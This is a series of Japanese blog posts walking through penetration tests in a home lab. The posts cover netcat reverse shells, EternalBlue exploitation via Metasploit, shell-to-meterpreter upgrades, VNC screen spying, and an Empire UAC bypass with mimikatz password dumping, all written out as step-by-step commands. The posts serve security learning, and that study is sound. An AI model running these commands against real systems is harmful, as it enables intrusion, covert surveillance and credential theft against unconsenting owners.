ウサギは後退せず、大きな耳で情報集めをする事に験を担ぎ、古来より日本では鎧などにウサギの図柄を取り入れてきたらしい。

うさブロ

ぼっちなうさぎのセキュリティラボ

とある親父の侵入実験【Netcatの使い方】

f:id:appleseedj073:20170503114540p:plain

今更感が半端ないんだけど、便利なネットワークツール「Netcat」の基本的な使い方を勉強してみたのでまとめておく。

 

f:id:appleseedj073:20170514011537j:plain

今回は以下のサイトを参考にして勉強しました。

www.hackingarticles.in

 

Port Knocking

 nc IPアドレス ポート番号

f:id:appleseedj073:20170813113021p:plain

ncコマンドを使用してポート番号にアクセスすると、そのポート番号を使用しているサービスを調べられる。 

 

Reverse Shell

netcatって言ったらこれかな?てか、ちゃんと調べるまで使用用途はこれしか知らなかったw 

Reverse Shellなんで標的となるVictim側から接続先のAttackerへConnectする。

待受側(Attacker)

 nc -lvp ポート番号

指定したポートで、標的からのReverse接続を待ち受ける。

f:id:appleseedj073:20170813135304p:plain

 

接続側(Victim)

 nc IPアドレス ポート番号

これで接続できる。でも、

 nc -e /bin/bash IPアドレス ポート番号

の方が、接続した時のshellを指定できるしなんとなく便利だから使うようにしている。

f:id:appleseedj073:20170813135400p:plain

 

接続すると

f:id:appleseedj073:20170813135430p:plain

待受側で接続が開始されたメッセージが表示される。

一応、確認するw

f:id:appleseedj073:20170813135604p:plain

Victim端末はmetasploitableなので間違いなくReverse接続されている。

 

ファイル転送

Reverse接続の応用で、入出力先をファイルにすることでファイルの転送もできる。

先ほどと同じ要領で待ち受けて、出力をファイルにリダイレクトする。

※passというファイルに保存されるようにした

f:id:appleseedj073:20170813142500p:plain

同じく接続も先ほどと同じ要領にしつつ入力をファイルに

※passwordというファイルを作成し入力ファイルにした

f:id:appleseedj073:20170813142527p:plain

接続が行われるとファイルが作成される。

f:id:appleseedj073:20170813142541p:plain

f:id:appleseedj073:20170813142638p:plain

 

他にもポートスキャンが出来たり、HTTPリクエストが出来たりするようだけど、Reverse接続とファイル転送が出来ればそれで十分かなと思うので他は割愛。 

 

 

地雷探しに脆弱性を使うのは間違っているだろうか 〜Hack a Minesweeper〜

f:id:appleseedj073:20170604162418p:plain

※これは、2017/06/03に「Akibasec #1」で喋ったLTを再編集したものです。

マインスイーパーってゲームを覚えていますか?若い人はもしかすると聞いたことないかもしれないんですが・・・。昔のWindowsには標準でインストールされているゲームで、いい感じ時間泥棒してくれますw

f:id:appleseedj073:20170604164101p:plain

マインスイーパ(Minesweeper)は1980年代に発明された、一人用のコンピュータゲームである。ゲームの目的は地雷原から地雷を取り除くことである。

このゲームは多数のコンピュータプラットフォーム向けに書き直されており、Microsoft Windowsをはじめ、LinuxGNOMEKDEなどのシステムに同梱されているものもある。

ウィキペディアより

 

ちょっと前回のMS17-010の検証でXPを引っ張り出して使っていたら、このゲームを見つけて見事に半日奪われましたw

そこで、思ったのです・・・

 

上級をクリアしたい!!

(ちなみに上級の世界記録は33秒らしいですw)

 

f:id:appleseedj073:20170604164541p:plain

要するにやりたいことは・・・

マインスイーパーの上級をすごい記録でクリアしてみたい!

そのためにマインスイーパーが動いているWindowsをハックして、マインスイーパーの裏技を見つけたい!

というもの。

 

準備したもの

 

環境(仮想環境)

  1. Windows XP(192.168.1.1)
  2. Kali Linux(192.168.1.100)

 

f:id:appleseedj073:20170604225141p:plain

1 調査

まずは、おきまりのポートスキャンをしてみた。すると・・・

f:id:appleseedj073:20170604225947p:plain

445番ポートが開いているのが確認できた。と、いうことは前回やったあれが使えますw

Eternal Blue(MS17-010)が使えるか確認する。

f:id:appleseedj073:20170604230413p:plain

 脆弱性が残っているのが確認できる。

2 Exploit

脆弱性の存在が、確認できたので前回の要領でWindowsのハックまでやっちゃいます。

 

ra66itblog.hateblo.jp

 

f:id:appleseedj073:20170604230904p:plain

なんだかんだで侵入完了。

3 MeterpreterからのまさかのMimikatz

次に、meterpreterからMimikatzを読み込む。

f:id:appleseedj073:20170604231229p:plain

これでmimikatz_commandという、要するにmeterpreter上でmimikatzを利用する準備が整う。パスワードクラックツールのmimikatzがマインスイーパーと何の関係があるのかわからないが、何故かマインスイーパーをクラックする機能がついているのであるw

このmimikatz_commandにあるwinmine::infosってのを使うと・・・

f:id:appleseedj073:20170604232424p:plain

ちょっと画像からだと判別しづらいかもだけど、答えが丸見え状態になってます(^o^)

これで、答えを見ながらクリアすれば良いのか?

実は、もっと便利なコマンドがあります。

それはwinmine::cheatと入力すると・・・(もうcheatって響きがとても良い!)

f:id:appleseedj073:20170604233013p:plain

上図は、見やすいように先にinfosで地雷の位置を表示させてからcheatを使用。

見事に地雷の位置に旗が立っている!この状態で旗の立っていない空白をクリックすると・・・

f:id:appleseedj073:20170604233254p:plain

クリア!!(所要時間1秒)

と、いう感じにチートができました(^-^)v

4 まとめ

 

ハッキングってどんなのー?って話を全くセキュリティのわからない人にする時って本当に困ります。目の前のパソコンに侵入して壁紙変えたりするのも良いかもしれないが、こんなやり方も若い子や、初めてセキュリティに触れる人には喜ばれるのでは?

とある親父の侵入実験【MS17-010の活用】

f:id:appleseedj073:20170503114540p:plain

今更なんだけど最近話題のWannaCryptが利用していることでお馴染みの脆弱性「MS17-010」を利用した攻撃というものを検証してみたいと思う。

itpro.nikkeibp.co.jp

脆弱性に関する細かいことは以下のリンクを参照してください。

マイクロソフト セキュリティ情報 MS17-010 - 緊急

 

今回は、この動画を参考にしています。


Ms17 010 eternalblue

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 (192.168.1.150)

 

1 環境構築

この動画によると、まず、wineをインストールする。

f:id:appleseedj073:20170514223432p:plain

 root@kl-01rbt:~# apt-get update

 root@kl-01rbt:~# apt-get install wine32

我が家の環境では、既にインストールされていた様子

 

次に脆弱性を利用する攻撃モジュールをゲットしてくる。

github.com

f:id:appleseedj073:20170514223719p:plain

 root@kl-01rbt:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

 

落としてきたやつの「deps」と「eternalblue_doublepulsar.rb」を/usr/share/metasploit-framework/modules/exploits/windows/smbにコピーする。この作業は動画のようにGUIでやったほうが簡単かも

f:id:appleseedj073:20170514224035p:plain

 

2 調査

次に対象となるWindows 7がSMBv1を使っているのかを調査する。

調査用のモジュールは最近のアップデートで組み込まれている様子。

f:id:appleseedj073:20170515003126p:plain

 msf > search ms17-010

これでDBを探すと「auxiliary/scanner/smb/smb_ms17_010」という名前の「MS17-010 SMB RCE Detection」をしてくれるモジュールが見つかるので実行

 msf > use auxiliary/scanner/smb/smb_ms17_010
 msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.150
 RHOSTS => 192.168.1.150
 msf auxiliary(smb_ms17_010) > run

調査の結果としては、MS17-010の脆弱性があって何か出来そうな雰囲気を醸し出してくれるw

 

3 攻撃準備 

モジュールを配置したらmetasploitの起動

 root@kl-01rbt:~# msfconsole

起動したら

f:id:appleseedj073:20170514225856p:plain

 msf > search eternalblue

 さっき入れたモジュールが見つかったらいつものように設定していく。今回はやたら設定項目長い・・・。

 

f:id:appleseedj073:20170514231514p:plain

f:id:appleseedj073:20170514231712p:plain

 msf > use exploit/windows/smb/eternalblue_doublepulsar
 msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH  /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 DOUBLEPULSARPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 ETERNALBLUEPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 msf exploit(eternalblue_doublepulsar) > set target 9
 target => 9
 msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.150
 RHOST => 192.168.1.150
 msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/
 WINEPATH => WINEPATH /root/
 msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
 TARGETARCHITECTURE => x86
 msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
 PROCESSINJECT => explorer.exe
 msf exploit(eternalblue_doublepulsar) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100

 

4 攻撃 

これを実行してやると・・・

f:id:appleseedj073:20170514235132p:plain

f:id:appleseedj073:20170515000104p:plain

見事に侵入成功w

 

 

5 結論

この脆弱性自体、3月のアップデートで修正されているんだけど、今回のランサムウェア騒ぎでは適応していなかった(若しくは何かしらの理由で適応できない)環境の端末が感染して大変なことになった。やはり、パッチは公開されたら適用するべきだと思うし、もし何かしらの理由で適用ができないならばしっかりと代替手段を講じるべきだと思う。

ま、ペネトレ仕掛ける側とすると、こんなメジャー級の脆弱性が残ってる中小企業さんとか見つけちゃうと可哀想(ご馳走)に思えちゃうんだけどねw

とある親父の侵入実験【NetcatからMeteroreterへ】

f:id:appleseedj073:20170503114540p:plain

今日のお題は「Netcat」

f:id:appleseedj073:20170514011537j:plain

Netcatは、Unix系OSコマンドラインアプリケーションの一つ。TCPUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワークを扱う万能ツールとして知られる。後にWindows版なども登場している。

Netcat - Wikipedia

 

と、ウィキペディアでは紹介されているペネトレーションテストでは、何かとお世話になっている通信用のアプリケーション

これまでも、イベント等で脆弱性を見つけて、exploitしてみたらncで接続されたなんてことがありました。でも、やっぱりmeterpreterで操作できると便利なんだよね

(俺自身のレベルがまだまだ低いからw)

てか、そんなわけでnetcatで接続したセッションをmeterpreterへエスカレーションする手段についてまとめてみたいと思う

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Metasploitable2 (192.168.1.200)

 

1 接続

f:id:appleseedj073:20170514012118p:plain

まず、Kali側でポートを指定して待ち受けしてやります。

 

f:id:appleseedj073:20170514012321p:plain

 msf > use exploit/multi/handler
 msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
 payload => linux/x86/shell/reverse_tcp
 msf exploit(handler) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf exploit(handler) > set LPORT 4444
 LPORT => 4444
 msf exploit(handler) > run

 

これで実行すると待ち受け状態になる

f:id:appleseedj073:20170514012452p:plain

 

そうしたら次はMetasploit側へ

f:id:appleseedj073:20170514012632p:plain

 

metasploitable側からncコマンドを使ってKaliへ接続をします

f:id:appleseedj073:20170514013116p:plain

 nc 攻撃側IPアドレス 待受ポート番号 -e /bin/sh

 nc 192.168.1.200 4444 -e /bin/sh

 

そうするとKali側では

f:id:appleseedj073:20170514013330p:plain

metasploitable側からの接続を受けてCommand Shellでのセッションが開く

ここで「control + z」を押してセッションをバックグラウンドへ移行する

 Background session 1? [y/N] y

f:id:appleseedj073:20170514013623p:plain

もとのコンソールに戻ってきたら一度「session」コマンドで確認

f:id:appleseedj073:20170514013902p:plain

 

2 昇格

次にmeterpreterへエスカレーションするモジュールをポストしてやる

 msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
 msf post(shell_to_meterpreter) > set session 1
 session => 1
 msf post(shell_to_meterpreter) > run

f:id:appleseedj073:20170514014922p:plain

payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できる

 

「session」コマンドで確認

f:id:appleseedj073:20170514015257p:plain

 

「session -i 2」で、meterpreterセッションに接続

f:id:appleseedj073:20170514015427p:plain

見事にmeterpreterでmetasploitableに接続できている!

 

3 結論

なんでこんなことをやったかというと、ここ最近のインシデントレスポンス系のイベントに参加した際に、ncで接続まではこじつけたのにそのあとファイルを奪取できなかったとか、対象端末の情報を搾取できなかったことが何度かありました。そんな時、レベルの低い自分としては「あー、meterpreterで接続とかできたらよかったのに(T . T)」

まぁレベル高い人からすると「ncコマンドが使える時点でなんでもできるよw」って笑われるんですけどね・・・。

 

とりあえず、俺の中でのnetcatへのリベンジ完了!!

 

とある親父の侵入実験【Empire:皇帝の目?鷹の目?】

f:id:appleseedj073:20170503114540p:plain

今回は、とあるシナリオに基づいて実施します。

 

f:id:appleseedj073:20170509144956p:plain

「レッドチームとしては、なんとしてもブルーチームの操作画面を覗き見たい!これまで利用した標的型攻撃で得たブルーチームとのバックドアを利用して画面を盗み出せ!」

 

という命令が出たのでやってみます。

途中までの手順に関しては前々回の「皇帝との共闘」と一緒なんで、その後から書きます。

ra66itblog.hateblo.jp

 

監視モジュール準備

f:id:appleseedj073:20170509153248p:plain

現在接続されているセッションにVNCモジュールを送り込んでやる。

 

 msf exploit(handler) > use post/windows/manage/payload_inject
 msf post(payload_inject) > set payload windows/vncinject/reverse_tcp
 payload => windows/vncinject/reverse_tcp
 msf post(payload_inject) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf post(payload_inject) > set session 1
 session => 1
 msf post(payload_inject) > set handler true
 handler => true

f:id:appleseedj073:20170509155006p:plain

準備ができたら実行

 msf post(payload_inject) > exploit

f:id:appleseedj073:20170509155147p:plain

色々と流れると・・・

 

f:id:appleseedj073:20170509155410p:plain

こんな感じに標的PCとの間にVNCで接続することができる。

 

相手との間の回線速度にもよるけど、案外快適に盗み見することが可能になりますw

 

「これで、ブルーチームの動向を確認することができる!」

 

とある親父の侵入実験【Empire:皇帝と共闘】

f:id:appleseedj073:20170503114540p:plain

寝るのを諦めて始発まで起きていることにしました。

前回までEmpireを利用した簡単な紹介を書きました。今回は、これまでお世話になったMetasploitととのコラボを描いてみたいと思います。

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 SP1(192.168.1.10)

 

1 接続

Windowsとの接続のウンヌンカンヌンは端折ります。

現在、標的となるWindows端末と接続ができている状態(前回と同じ感じ)になっている。

f:id:appleseedj073:20170504024704p:plain

次にmeterpreterとの接続に使用するリスナーを用意してやります。

 (Empire: listeners) > set Name meterpreter
 (Empire: listeners) > set Port 8888
 (Empire: listeners) > set Type meter
 (Empire: listeners) > execute

f:id:appleseedj073:20170504025003p:plain

ここまでで下ごしらえ完了

 

2 譲渡

まずはEmpire側で現在接続している端末に接続しmeterpreterをinjectionする準備を施す。エージェントモードに移行して接続している端末にインタラクトする。

 (Empire: agents) > interact FZWBYTCSG1NH3P42

そして、shellcodeをinjectしてmeterpreterへリバース接続するように指定する。

 (Empire: FZWBYTCSG1NH3P42) > injectshellcode meterpreter

f:id:appleseedj073:20170504025639p:plain

設定情報を確認するとリバース接続用のIPアドレスとポート番号を欲しがっているので与えてやります。また合わせてPayloadも少し変更を加えます。

 (Empire: code_execution/invoke_shellcode) > set Lhost 192.168.1.100
 (Empire: code_execution/invoke_shellcode) > set Lport 8888
 (Empire: code_execution/invoke_shellcode) > set Payload reverse_http

f:id:appleseedj073:20170504030324p:plain

これでEmpire側は準備完了。今の接続に対してペイロードを走らせたらmetasploit側へペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている

 

3 共闘

次にMetasploit側の設定を行う。

 msf > use exploit/multi/handler
 msf exploit(handler) > set payload windows/meterpreter/reverse_http
 payload => windows/meterpreter/reverse_http
 msf exploit(handler) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf exploit(handler) > set LPORT 8888
 LPORT => 8888
 msf exploit(handler) > set exitonsession false

とりあえずMeterpreter側で待ち受けてリバース接続するように指定する。接続先は当然Empireで用意した「meterpreterリスナー」

で、ここまで設定したらmetasploitは走らせて待機。

 msf exploit(handler) > exploit -j

f:id:appleseedj073:20170504031054p:plain

さぁ、共闘の準備は整った!

Empireへ戻り実行してみよう!!

 (Empire: code_execution/invoke_shellcode) > execute

f:id:appleseedj073:20170504031346p:plain

Empire側でJobが走ると・・・

f:id:appleseedj073:20170504031524p:plain

見事にmeterpreter側でsessionが、確立する。

 

f:id:appleseedj073:20170504031728p:plain

ここからは慣れ親しんだMeterpreterが相手をしてくれるということになるのである。

 

Metasploitにしか出回っていないようなコードをどうしても試したいときは、こういった手段を使うことでEmpireのSessionをMeterpreterへ渡すことができるということを覚えていてほしい。

とある親父の侵入実験【Empire:皇帝の力 後編】

f:id:appleseedj073:20170503114540p:plain

とりあえず続きします。

前回までに、Empireで作成したbatファイルをWindowsに渡して起動。見事にリバース接続が成功した状態で終わりました。

f:id:appleseedj073:20170503122017p:plain

こんな感じで、相手の情報がほぼほぼ丸見え。usernameからhostname、OSもわかってたw

次は、この端末のパスワードを奪取しようと思います。Windowsのパスワードを取ると行ったらmimikatz。このツールが有名であって尚且つ、このEmpireとの相性がいい(俺の勝手な想像w)というわけでパスワードの奪取までやってみよう!

 

5 パスワード奪取

上図の状態でmimikazを実行するモジュールを選択する。

 (Empire: TPESSRK3BLUPTA4G) > usemodule credentials/mimikatz/logonpasswords
 (Empire: credentials/mimikatz/logonpasswords) > info

f:id:appleseedj073:20170503194022p:plain

mimikazのlogonpasswordを割り出すモジュールを呼び出したところ。今回は、特に設定を変えることなくこのまま実行

 

f:id:appleseedj073:20170503194225p:plain

見事にエラー!!

このモジュールを動かすには、高い権限がいるっぽい(適当な意訳)

ってことでUACをbypassしてみる。

  (Empire: credentials/mimikatz/logonpasswords) > usemodule privesc/bypassuac

f:id:appleseedj073:20170503194808p:plain

ここではリスナーの指定が必須項目なのでリスナーを指定して実行。

 

 (Empire: privesc/bypassuac) > set Listener test
 (Empire: privesc/bypassuac) > execute
 [>] Module is not opsec safe, run? [y/N] y

f:id:appleseedj073:20170503195422p:plain

実行するとJobが始まって・・・

 

f:id:appleseedj073:20170503195504p:plain

新エージェントが追加される。

 

このエージェントを確認すると

f:id:appleseedj073:20170503195546p:plain

2段目に新しく追加されているのが確認できる。そして、Usernameを見てみると新しく追加された方には「*」が付加されているのが確認できる。そこで、今度は新しいエージェントにインタラクトしてみる。

 

 (Empire: agents) > interact EBGZFMZ4EVCTBBSA

f:id:appleseedj073:20170503195933p:plain

同じ端末であることは確認できるのだが一番下の項目「high_integrity」をみると0から1に変更されている。この状態で先ほど失敗したmimikazのモジュールを実行してみる。

 (Empire: EBGZFMZ4EVCTBBSA) > usemodule credentials/mimikatz/logonpasswords
 (Empire: credentials/mimikatz/logonpasswords) > execute

 

f:id:appleseedj073:20170503200329p:plain

しばらくするとJobが始まって・・・

 

f:id:appleseedj073:20170503202135p:plain

見事に取れましたw

Username : Victim

Password : password

 

6 結論

このEmpireはMetasploitに取って代わるツールではないけど、個人を狙った標的型攻撃では、とても便利なツールが用意されていて「標的型攻撃演習」というシナリオではとても便利そう。でも、使い方を間違えるととても危険なツールであることには間違いないと思った。今後もこのEmpireを使った攻撃シナリオについて検証してみたい。